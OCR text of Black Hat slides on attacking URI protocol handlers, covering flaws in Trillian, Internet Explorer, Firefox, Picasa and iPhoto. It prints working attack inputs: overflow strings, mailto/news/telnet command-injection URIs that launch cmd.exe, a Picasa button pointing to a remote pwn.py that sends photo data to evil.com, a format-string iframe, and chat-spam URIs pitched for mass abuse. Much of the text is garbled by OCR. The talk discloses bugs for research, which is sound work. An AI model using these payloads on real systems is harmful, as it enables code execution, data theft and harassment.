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URIs — An Overview

" Generic
— http://, ftp://, telnet://, etc.
= \What else Is registered?
—aim://, firefoxurl://, picasa://, itms://, etc.
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« URIs — Interaction With Browsers

o Developers create URI hooks in the
= registry for their applications

= Once registered they can be accessed

* and interacted with through the browser
e XSS can play too!
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URI Discovery — Where and
What?

"« RFC 4395 defines an IANA-maintained
= registry of URI Schemes

« W3C maintains *retired* schemes

‘e AHA! The registry! Enter DUH!
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B C:\Documents and Settings\mcfetnasDesktop>cscript.exe //Nologo DUH.vbs
acrobat URL:Acrobat Protocol C:\Program F1les\Adobe\Reader\AcroRdSZ exe /u "1
[ URL: AOL Instant Messenger Protocol Rundl132.exe "C: \Program Files\TrillianNplugins\aim.dll"
' ini="c:\program files\tril 1an\u5er5\default\cache\pendlng aim.in
URL: CallTo Protocol rundl132.exe msconf ,CallTo rotocolHandler #1

RL:File Protocol rundl132.exe msconf.dll,CallToProtocolHandler x1
:File Transfer Protocol rundl 132, exe msconf. dll,CallToProtocolHandler x1
URL: GAAIT-PE Protocol C:\Program FilesN\AAPNGAAIT PE.exe /1
URL : Gopher Protocol C:\PROGRA~1\MOZILL~1\FIREFOX.EXE -url "x1"
Help Center Pluggable Protocol /SystemRoot/\PCHEALTH\HELPCTR\Blnarles\HelpCtr exe -FromHCP -url "

URL:Hello Protocol "C:\Program Files\Hello\Hello /0
L:HyperText Transfer Protocol C:\PROGRA~INMOZILL™ 1\FIREFOX EXE -url "x1®
URL:HyperText Transfer Protocol with Privacy C:\PROGRA™ 1\MOZILL INFIREFOX.EXE -url X1t
URL:LDAP Protocol "C:\Program Files\Outlook Express’\wab.exe" /ldap:xl
URL:MailTo Protocol C:N\lotus\notes\notes.exe /defini X1
RL:mms Protocol "C:N\Program Files\Windows Media Player\wmplaver.exe" "
URL:mmst Protocol "C:\Program FilesNWindows Media Player\wmplayer.exe" "X
RL:mmsu Protocol "C:\Program Files\Hindows Media Player\wmplayer.exe" "X
URL:msbd Protocol "C:N\Program Files\Windows Media Player\wmplayer exe" "}
URL:News Protocol "#ProgramFilesz\Qut look Express\msimn.exe" /newsurl: 721
URL:NNTP Protocol "¥ProgramFiles:\Out look Express\msimn.exe' /newsurl:xz1
URL:MNotes Protocol C:Nlotus\notes\notes.exe /defini X1
Picasa Command protocol "C:\Program Files\PicasaZ\PicasaZ.exe" "x1"
RL:RLogin Protocol rundl132.exe url.dll, TelnetProtocolHandler #1
:RLogin Protocol /SystemRoot/\Explorer exe Zidlist
:SnapReporter Protocol C:\Program Flles\Palsley Consult1ng\SnapReporter2\SnapReporter Prao
:Snews Protocol "#ProgramFiles\Out loo ress\msimn.exe" /newsurl:x1
: Protocol C:\Program F1les\Tort01seSGN\bin\TortoiseProc.exe /command:repobrowser /p3a
:SVN+SSH Protocol C:N\Program Files\TortoiseSVN\bin\TortoiseProc.exe /command:repobrowser /pz
:Telnet Protocol rundl132.exe url.dll,TelnetProtocolHandler x1
: TN3272 Protocol rundl13Z2.exe url.dll,TelnetProtocolHandler x1
: TSVN Protocol C:\Program Files\TortoiseSVN\bin\TortoiseProc.exe /command:checkout /url:"
:Unreal Tournament Legacy Protocol C:NUTZ2004\System\UT2004.exe "Xx1"
L:Unreal Tournament 84 5rotocol C:\UTZ004\System\UT2004.exe "x1"
URL:Ventrilo Protocol C:\PROGRA™I\Ventrilo\Ventrilo.exe -1x1
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Attacking URIs — Attack Scope

"e URIs link to applications

"« Applications are vulnerable to code
« flaws and functionality abuse

"« URIs can be accessed by XSS
exposures
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; Stack Overflow in Trilllan’s aim.dll
Through the aim:// URI
The aim:// URI I1s associated with the

command ‘Rundll32.exe “C:\Program
Files\Trillian\plugins\aim.dll”,

= alm_utll_urlHandler url="%1"
iIni="c:\program files\trillian\users
\default\cache\pending_aim.ini™.
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: Stack Overflow In Trillian’s aim.dll
Through the aim:// URI

"o Attacker controls the value that is put

* into aim_util_urlHandler through the
. URI, such as aim://MyURL.

"s Value Is copied without bounds
checking leading to a stack overflow
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: Stack Overflow In Trilllan’s aim.dll
Through the aim:// URI

S“Example:

aim:///(#1111111/111111111111111111111711171211121111111
11111171131213121311311311311212122222222222222222222222
2222222222222222222222222222222222222233333333333
3333333333333333333333333333333333333333333333333
3444444448484 844448484848484444844844844844444444444
4444444444444555555555555555555555555555555555555
55555555555555555555555556666666 AAAABBBB6666666
6666666666666666666666666666666666666666666666666
OO/ /77171777 7I7IT77777777777777777777777
(07777077 r777777788888888888888888888888888888888
8888888888888888888888888888899999999999999999999
9999999999999999999999999999999999999999900000000
0000000000000000000000000000000000000000000000000
0000
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Stack Overflow Caught By

File View Debug Plugins Options Window Help

M x| || Wi *E k| LE| | =i L|E

eRsEEEE 2917 Moy DWorRD PTR DS:CEODID, ED:
SrE89Fey| 23CY B4 AOD EDI, 4

SFES9FEH| S83E9 81 SUE ECx,. 1

Srag2Fel|~v4 SF JE SHORT aim.3YES9FEE
3rES9FeF| BR FFFEFEYE Mol EDx, FEFEFEFF

S7YEAS9FY4| SBAG MoL EHs, DWORD FTR DS:[ESI]
S7YES9FYE| B3D8 AOD EDx, ERX

SYESIFYE| 23F8 FF #OF ERX,FFFFFFFF

S7YAS9FYE| 323C2 #OR ERRX, EDOX

SrAS9F Y0l BBl6 Moy EDX, DWORD PTR DS:CESI]
SFES9FYF| 23Ce B4 AOD ESI, 4

S7ERS9FE2| H? BBB18181 HEST ERx, 818101488

aoooTl o 24 O
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Control of Pointer to Next SEH
Record and SE Handler

B FF 34
BB FF 33
Bl FF3C
HEE FF4E
HEE FF 44
HEE FF43
BEE FF4C
Bl FFSE
Bl FFS4
515 1% I ol et
15 1% I ol o
HEE FF e
HEE FFad
HEE FFaE

P e P e | e sl el e

35353535
35353535
35353535
35353535
35353535
363635
SJB365635
31414141
d24 24242
SE363635
SE363635
SE3636365
SE363636

Fointer tao next SEH record
SE handler




Command Injection in Call to
Trillian’s aim.dll Through XSS

The command associated with aim://
takes two arguments, “URL” (which we

_control) and “ini”, which Is set by default
= to C:\Program Files\Trillian\users

\default\cache \pending_aim.ini.

Black Hat Briefings



Command Injection in Call to
Trillian’s aim.dll Through XSS

"o Attacker can Inject a “ to close off the
“ur’” command line argument and can
_ theninject a new “inI” parameter.

"s The “Ini” parameter Is used to specify a
file location to write startup data to.

* \WWe can control some of that startup
data through the aim:// URI.

Black Hat Briefings



Command Injection in Call to
Trilhan’s aim.dll Through XSS

Bily (BK) Rios.

Proving Ground Pages

Home

About BK

About Nate

Vulns and Confs
Proving Ground
BK vs "The Crows”

FireFox 2.0.0.5 0-days (mailto, nntp, news, snews vulns)
Cross Browser Scripting (Firefoxurl vuln)

Trillian / AIM.DLL O-day

IE Local Software Enumeration

FireFox Data: Phishing

Categories
Secunty
Web Application
Security
Uncategorized

Search:

TGS
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Bug In Microsoft's IFrame.dll Through
res:// URI (MS07-035)

" Theres:// URlis a predefined pluggable
protocol in Microsoft that allows content like
Images, html, xsl, etc. to be pulled from DLLs
or executables. EXx:
res://ieframe.dll/info_48.png

e You have seen this, you just might not know
it, If you have a 404 page or common error
pages in IE, you'll see a blue ?, this is loaded
using res://.
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Bug In Microsoft's IFrame.dll Through
res:// URI (MS07-035)

Playing with the res:// URI, it was
discovered the browser would crash if
. the following URI was accessed:

res:/lleframe.dll/#111111/1

Further testing led to
res:/fieframe.dll/#111111AAAAAA...
(long string of A’s)...AA/1, which caused
the windows dumprep.exe to kick-up.
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Bug in Microsoft’s IFrame.dll Through
res:// URI (MS07-035)

OllyDbg - iexplore.exe
File Miew Debug ©Options  Window  Help
44 X| | 11| Wi ¥ 3 )

CPU - thread 0O0000EC4 , module ntdll

FL321 CEE e e e e R Bas EESI=1L T BEE
r931C6F | ~aFS2 a2ESFOFF JEB ntdll.7C918470

rC921C7Y5| 2BDe MOU ED=,.ESI

rC921C7YY | ES B2ZBdBRBEg CALL ntdll.7C9321ZE
rC931CYC| 24CH TEST AL,AL

rC921CYE|~8F24 FREYFDOFF JE ntdll.7C21a470

rC921C84| FeBSs FABZFEFF @] TEST BYTE PTR DS: [YFFEBzFal, 2
rC931C8B | ~aFS84 DSESFOFF JE ntdll.7C21E585

FC931091 | B9 BCABEEEA JHMP ntdl L. 7C22BCAZ

TCI21C396| 24 HOF

rLe3109Y 98 HOF

rC921C938| 948 HOF

tEIS1EI P8 MOP

PLSEICHA| 9o HOP
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Bug In Microsoft's IFrame.dll Through
res:// URI (MS07-035)

A171ERAS
H171ERAC
B171EREH
@17 1ERE4
A1/ 1ERES
@17 1EREC
A171ERCH
@1v1ERCH
A17V1EACE
A171ERCC
@17 1ERDE
@17 1ERAD4
A171ERDS
a1v1ERDC
A1V 1EREHS
H171ERE4
B171ERES
@17V1EREC
A171ERFH
@1v1ERF4
B171EAFE

B2FFASZH
BE4 168641
BE4 168641
A64 16641
BE4 168641
BE4 1686841
A6416641
B84 1 8841
BE4 1686841
A64168641
B84 18641
B84 168641
AE4 18641
B84 168641
BE4 168641
BE4 18641
B84 168641
BE4 186841
AE4 16641
BE4 168641
B84 168641

FRETURM to B2FFASS8 from B210AR9:20

ierplore.
iexplore.
ierplaore.
iedplore.
iexplore.
ierplaore.
ierplore.
iexplore.
ierplore.
ierplore.
iexplore.
ierplore.
iedplore.
iexplore.
ierplore.
ierplore.
iexplore.
ierplore.
iedplore.
iedplore.

B4 168841
BEd 186841
AE4 18641
B4 168841
BEd 186841
B84 1686841
B84 18841
BE4 186841
AE4 18841
B84 18841
BE4 1686841
AE4 18641
B84 18841
BEd 186841
BE4 16841
B84 18841
BE4 1686841
AE4 18641
B84 18841
AE4 186841

| Fauzed
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Cross Browser Scripting — IE pwns
Firefox and Netscape Navigator

* Firefox and Netscape Navigator 9 register
URIs to be “compliant with Windows Vista”.

=* These URIs (“firefoxurl” and “navigatorurl”)

are vulnerable to command injection when
called from IE.

Gecko based browsers accept the —chrome
argument, and we can inject this to supply
arbitrary JavaScript code that allows us to
spawn a command prompt.
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ross Browser Scripting — |[E pwns
Firefox and Netscape Navigator

Bily (BK) Rios.

Proving Ground Pages

Home

About BK

About Nate
Vulns and Confs

FireFox 2.0.0.5 0-days (mailto, nntp, news, snews vulns)

Cross Browser Scripting (Firefoxurl vuln)

Trillian / AIM.DLL O-day

IE Local Software Enumeration

FireFox Data: Phishing Proving Ground
BK vs "The Crows”

Categories
Secunty
Web Application
Security
Uncategorized

Search:

*

istat. Wy cT EEmme WM& [cs /| = B  CHmER T8 (A% 1248
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Command Injection in Firefox
and All Gecko Based Browsers,
Microsoft Outlook, etc.

"« Thisis actually caused by a flaw In

Microsoft's shell32.dll file on non-Vista
machines.

« \Was fixed for Firefox by Mozilla Sec.
Team for Firefox in version 2.0.0.7.
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Command Injection In Firefox
and All Gecko Based Browsers,

Microsoft Outlook, etc.

- {FireFox 2.0.0.5 et al |
T
| camtasia looks poor in powerpoint| -

| |

Eﬂv ly (BK) Rios = Ren .
File Edit Wiew Histary Bookmarks ‘Yahoo! Tools  Help
| LI http:tixs-sniper cam/blogiremote-command-exec-firefox-2005/

@o@

|| Billy {BK) Rins » Proving Ground

camtasia looks poor in powsrpoint - G..

v
g
=

Billy (BK) Rios

Remote Command Exec (FireFox 2.0.0.5 et al)

ammmand




Command Injection in Firefox
and All Gecko Based Browsers,
. Microsoft Outlook, etc.

me The following URIs will cause a command injection:

— mailto:%00%00../../../../../../lwindows/system32/cmd".exe ../../.
J..1.1..1.[..lwindows/system32/calc.exe " - " blah.bat

nntp:%00%00../../../..I../..lwindows/system32/cmd".exe ../../../
L lwindows/system32/calc.exe " - " blah.bat

news:%00%00../../../../..]..lwindows/system32/cmd".exe ../../..
[..1..1..]..]../lwindows/system32/calc.exe " - " blah.bat

snews:%00%00../../../../..I..lwindows/system32/cmd".exe ../../
L lwindows/system32/calc.exe " - " blah.bat

telnet:%00%00../../../..I..]..lwindows/system32/cmd".exe ../../..
[..1..1..]..]..lwindows/system32/calc.exe " - " blah.bat
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Trust-based Applet Attack against
Google’s Picasa (T-bAG)

picasa.//importbutton?url=
http://[shadyshady.com/evilbutton.xml

Yep, that’s right it imports a remote XML
description of a button

If that button is loaded from OUR server
and clicked we get to see all those
naughty pictures of your girlfriend
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The Plan — Ghetto Whiteboard
Edition

Black Hat Briefings
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= The Plan — Ghetto Diagram Edition
The Hacker YouTubc?_,___MySpace

p LJ n* Hacker Plants XSS L E




Trust-based Applet Attack against
Google’s Picasa (T-bAG)

®"The button.pbf file looks like so:

o <?xml version="1.0" encodlng "utf-8" 7>
= <buttons format=
<button id= custombutton/evnbutton type= dynam|c >
<icon name="outputlayout/poster_icon" src="runtime" />
<label>Critical Update Available</label>
<tooltip>Click to Download Ciritical Update</tooltip>
<action verb="hybrid">
<param name="url|"
value="http://natemcfeters.com/pwn.py" />
</action>
</button>
</buttons>
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Trust-based Applet Attack against
Google’s Picasa (T-bAG)

When the button is clicked, Picasa starts up its own
Instance of Internet Explorer to open up whatever is
at http://natemcfeters.com/pwn.py

The real interesting thing is what Picasa SENDS:

FOST fpwn.py HTTRM .0

Accept imagel/if, imagef-dbitmap, imadelpeq, imagelfpjped, applicationié-shoclkwave-flash,
applicationdvnd.ms-excel, applicationind.ms-powerpoint, application/msword, *F

Fragma: no-cache

Content-Type: multipartform-data; boundary= AACHAEY5ETA44
Accept-Languade: en

Lser-Agent: Mozillald 0 (compatible: MEIE 6.0 Windows MNT 5.1 5W1; NMET CLE 2.0.480727)
Host: evil.com

Frowy-Connection: Keep-Alive

Content-Length: 2473
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What's Sent by Picasa?!

aACDOYLETALS
Content-Dispasition: farm-data; name="rss"
Content-Type: textflain; charset=uta

=Tl version="1.0" encoding="ut:-3" *=
=rgg version="2.0" xmins:photo="httpMasse. pheed.comipheed! xmins:media="httpfsearchyahoo comimsrssi=
=clientlanguage=en=iclientlanguage:=
=channel=
=iterm=
=fitle=Stydio b =title =
=photothumbnail=hitpXlocalhost 3895 ca36b0hEabch99a47ah 363787 ha2 1 cithumb 7. jpa=/photothumbnail=
=photoiimgsro=httplocalhost 38850 cadRb0bGabhch99a47 ab36a3T a7 haz 4 climage? jpg=/photoimgsro=
=media:graup=
=mediacontent url="http:iflocalhost 38948 cagBb0bEabch99ad Fabh 3637 E8ThaZd4 1 ciimage? . jpg" width="430"
height="360" isDefault="trua"f=
=mediathumbnail url="hitp:Mocalhost 38957 ca86b0hEabch99a47ah 36378 haz 41 cthumb 7 jpg" width="1 44"
height="108"=
=mediacantent url="httpMocalhost 38997 cal6h0hGabch 9924 Yabh 36377 ha 241 clariginal 7™ width="4 80"
height="360" fileSize="518454" type="image/bmp"i=
=lmedia droup=
=fiterm=
=iterm=
=title=PWHED111 jpo=titla=
=photothumbnail=hitpXlocalhost 28957 ca36b0hEabchY9a4 7 ah 363787 ha2 1 cithumba.jpa=/photothumbnail=
=photoiimgsro=httplocalhost 38850 FcadRb0bGabhch99a47 ab36a3T a7 haz 41 cfimaged jpg=/photoimgsro=
=media:graup=
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Why Flash?

"« We chose Flash to exploit our client-
side attack vector for three reasons:

— 1. It is vulnerable to DNS Rebinding
attacks.

— 2. If a valid crossdomain.xml file is present
we can connect back to our attack server.

— 3. As of Actionscript 3.0 we now have
access to a Socket class that can read and
write raw binary data.

Black Hat Briefings



Trust-based Applet Attack against
Google’s Picasa (T-bAG)

& root@dew: fvar/wew rob
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PDP’s PDF Sploit

" One of the URI/Protocol handler attack
" vectors that gained a lot of publicity was
_ the PDF based attack by PDP

"s This was based off of our same mailto:
command injection, and in fact, the
version In the wild also uses this
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Stupid IM Trick

" | want to talk to your girlfriend as if I'm you!

— ymsgr:sendim?yourGirlFriend&m=I+think+we+sho
uld+break+up...+sorry+but+its+you+not+me

— gtalk:chat?jid=Pwnlchlwa@gmail.com
— gtalk:call?jid=Pwnlchlwa@gmail.com
— gtalk:voicemail?jid=Pwnlchlwa@gmail.com

— aim:goim?screenname=yourGirlFriend&m=I+really
+think+you’d+be+happier+with+Nate

— skype, Gadu-Gadu, Jabber, etc.
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Yep, They're Stupid, but...

"o Aside from stealing your girlfriend and
= causing a Denial of Service on you...

= What if you could XSS a lot of people

* from one page and then force their
browsers to loop through sending as
many of these messages as possible?

 DDoS on all chat providers anyone?
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Why oh why is no one talking about *Nix yet. Why?
No registry... or is there? AHA! DUHA4Linux.sh!

#!/bin/bash

gconftool-2 /desktop/gnome/url-handlers --all-dirs | cut --
delimiter=/ -f 5 | while read line;

do {

gconftool-2 /desktop/gnome/url-handlers/$line -a | grep -
i ‘command' | cut --delimiter==-f 2 | while read line2;

do {
echo "$line $line2"
} done
} done
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Output from DUH 4 Linux

-bash-3.00$ ./DUH4Linux.sh

man gnome-help "%s"
cdda /usr/libexec/gnome-cdda-handler %s
aim gaim-remote uri "%s"
info gnome-help "%s"
server-settings nautilus "%s"
applications nautilus "%s"

https firefox %s

unknown mozilla "%s"

ghelp gnome-help "%s"
h323 gnomemeeting -¢ %s
about firefox %s

trash nautilus "%s"

http firefox %s
system-settings nautilus "%s"

callto gnomemeeting -c %s
mailto evolution %s
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An Apple a Day Keeps the
Hackers at Bay? Yeah, right.

"« DUH4Mac was developed for me by
Carl Lindberg, the same guy who

_ brought us RCDefaultApp for turning

= these off on a Mac

" Has already helped us uncover on bug
In Mac URI handlers
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Output From DUH4Mac

URL Name
mailto

pcast
X-man-page
ftp

im
applescript

App Bundle ID
com.apple.itunes

org.mozilla.firefox

webcalcom.apple.ical
directoryconnection

rtsp
Keynote
ichat
feed

ssh
message
afp

daap
mmsu

com.apple.itunes

App (Current Path)

Mail (/Applications/Mail.app)

iTunes (/Applications/iTunes.app)

Terminal (/Applications/Utilities/Terminal.app)
Firefox (/Applications/Firefox.app)

iChat (/Applications/iChat.app)

Editor (/Applications/AppleScript/ScriptEditor.app)
iCal (/Applications/iCal.app)
(/Applications/Utilities/Directory Utility.app)
QuickTime (/Applications/QuickTime Player.app)
Keynote (/Applications/iWork '06/Keynote.app)
iChat (/Applications/iChat.app)

Safari (/Applications/Safari.app)

Terminal (/Applications/Utilities/Terminal.app)
Mail (/Applications/Mail.app)

Finder (/System/Library/CoreServices/Finder.app)
iTunes (/Applications/iTunes.app)

WMV (/Applications/FlipAMac/WMV Player.app)
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= IPhoto Pwnage for Fun and Profit

"o A format string vulnerability exists In
= iPhoto which can be triggered by
. enticing a user to subscribe to a
maliciously crafted photocast

* A remote attacker may be able to cause
arbitrary execution of code
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ArE you Sure you wani 1o subscribe o this phata fead?

Wi 3FE BODul 10 Bhieribe po This phioes lesd which v Govenload
the mpost recerd photoy and k=ep it wodeted auiomaticaiy

Do not ask about subscribing again.
[ Cancel Subscribe
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= IPhoto Pwnage for Fun and Profit

| {
There is 4 problem with the subscription.

n The fped at mitp: ) /G2 280484 Szl
u (& 1107800 Lenap i

o o L L5800
1THLlaadd offfeacH o

116 7800 iR eald tiffeaeh
dch8E 1157800 ¥bebBH
16baRtGh i 1
11cfaed bffeads B0c3hie]
11l 5877 TR

| dbd P197800 119780
16baEl0D & 1cing d

1197800 EHfebd B b lal
a 1157800 niftensd

laf5A% | i TR0 Sbw? T
oould not be foursd or & invalid.
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= |Photo Pwnage for Fun and Profit

4 phogo | PNdd¥n

wjowi®  Brioe Schse | Coaks Skap  Apple seiwrily updiles Chichge Res  Réitasrbats  Schimbilije's . Sarvar Sida

D Wtk vt Wik vt S, | < .

o T3 C b’y T2 Cioanlond = alertfde
The application IPhoto guit unexpectedly,

#006-0F-19 131900 -0

EXC_BAD ACCESS (SICHUS)
EEER_PROTECTIOMN_FAILUAL 21 Gl 00Ce080ataa

Thread O Cravhed

0 _ wfprimf +« 4867

I wapremi | = 408
_CFserimghpmenaformatd nd raesnentsliun + 705
CPstHAG reibWiF ormaldnd AnjumbfiAus « 130
-[MSPace holderinrg

i TWTRFonan | ocale arguersenns ] « B85

§ -[MESEring inmWehFormat arguments | + 5§
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= IPhoto Pwnage for Fun and Profit
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= IPhoto Pwnage for Fun and Proflt

H &) r'\ Default (91,24)

B2xml versiﬁnm“l.ﬁ“ encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://wwi.n3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html xmlns="http://ww.n3,0org/1999/xhtml" xml:lang="en">
<head>
<titlesuntitled</title>

<iframe src="photo://%dddeadbeef¥%n">
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= IPhoto Pwnage for Fun and Profit

Default (119,38)
B Default Default
-mxr-xr-x 1 hochi staff 5373 Jul 31 2006 idarub.rb
bash-3.2# cat iphoto.d
#!/usr/sbin/dtrace -w -s

pid$target::__vfprintf:entry /copyinstr(arg2) = "%25n"/ {
printf("as hex: arg@=¥x argl=%x argZ=%x", argd, argl, arg?);
printf("char*=¥s", copyinstr(argl));

printf("valist=%s", copyinstr{arg2));
ustack();
}stOPO;
bash-3.2# ./iphoto.d -p “ps ax Igrep iPhotolgrep -v greplank '{print $1}'"
dtrace: script './iphoto.d' matched 1 probe
dtrace: allowing destructive actions
CPU 1D FUNCTION : NAME
@ 18758 _vfprintf:entry as hex: arg@=bfffd3f4 argl=00099a80 arg2=bfffe83@char*=valist=%25n
libSystem.B.dylib’ _vfprintf
libSystem.B.dylib" snprintf_l+@x1f2
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reading address @xba91900@ in target task

copy the segment from start at @xba919000 to Oxba91bddd
Segement Protection: ((null), max r--; mx, copy, private)
dumping our local copy with size 8192

wrote segment dump to : dumps/2651/BA919000

reading address @xba91b®d@ in target task

Segment @OxbcOO0000 to Oxbf800000 is unreadable (permissions (null)), must be a STACK GUARD segment.
reading address @xbf800000 in target task

copy the segment from start at @xbf800000 to Oxbffffo00

Segement Protection: ((null), max rw-; mx, copy, private)

dumping our local copy with size 8384512

|l wrote segment dump to : dumps/2651/BF800000

b

reading address @xbffffod@ in target task

copy the segment from start at @xbffffodd to OxcOOO0000
Segement Protection: ((null), max rw-; mx, copy, private)
dumping our local copy with size 4@96

wrote segment dump to : dumps/2651/BFFFFQ00

reading address @xcO000000 in target task
No memory regions left to read, exiting....
=> true

>> searchMem pid, “dendbeef%ESn“l
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Searching BA91900@. ..

Searching BFS800000. . .

Searching BFFFF0Q. ..

=> [15573653, 15577749, 372212138, 372220330, 391276892, 391307340, 391469404, 391499852, 391481439, 3921408
95]

»>> attachDebugger pid

GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct 2 ©4:07:49 UTC 2007)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

Ll welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

Ll There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-apple-darwin".

Attaching to process 2651.

Reading symbols for shared libraries .

Reading symbols for shared libraries

@x90dd5995 in __vfprintf (O
(gdb) x/s 15573653
1 "deadbeef%25n"




And... Just In Time for Tax
Season

"e TurboTax on the Mac brings you
friendly URIs... WHY?!

= — com.intuit.ctg.tpshelpscreen

® —com.intuit.ctg.tpsformaddress
— com.intuit.ctg.tpsformfieldhelp
— com.intuit.ctg.easystepjump
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Mobile Pwnage??!! See us In
Vegas Baby (Hopefully)!

Here’s a dump of the relevant portions of the Windows Mobile OS
registry:

[HKE?( CLASSES ROOT\callto\Shell\Open\Command] @="cprog.exe
-n -url %1"

[HKEIY CLASSES ROOT\dtmAShell\Open\Command] @="cprog.exe -
n -url %1"

[HII<EY CLASSES ROOT\te\Shel\Open\Command] @="cprog.exe -n
-url %1"

[HKEY CLASSES ROOT\MMSU\SheII\Open\Command]
@="wmplayer.exe \"%1\"

[HKEY CLASSES ROOT\MMS\SheII\Open\Command]
@="wmplayer.exe \"%1\"" -- @="officeres.dll,-13073"

[HKEY CLASSES ROOT\wsp\Shell\Open\Command] @="iexplore.exe
%1"

[HKEY_ CLASSES ROOT\res\Shell\Open\Command] @="iexplore.exe
%1"
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Conclusions and Questions

You can find us at any building in the
city designated with a red light or a
mushroom sign. Cactii?

Any questions? nSk l\
Nl"l'
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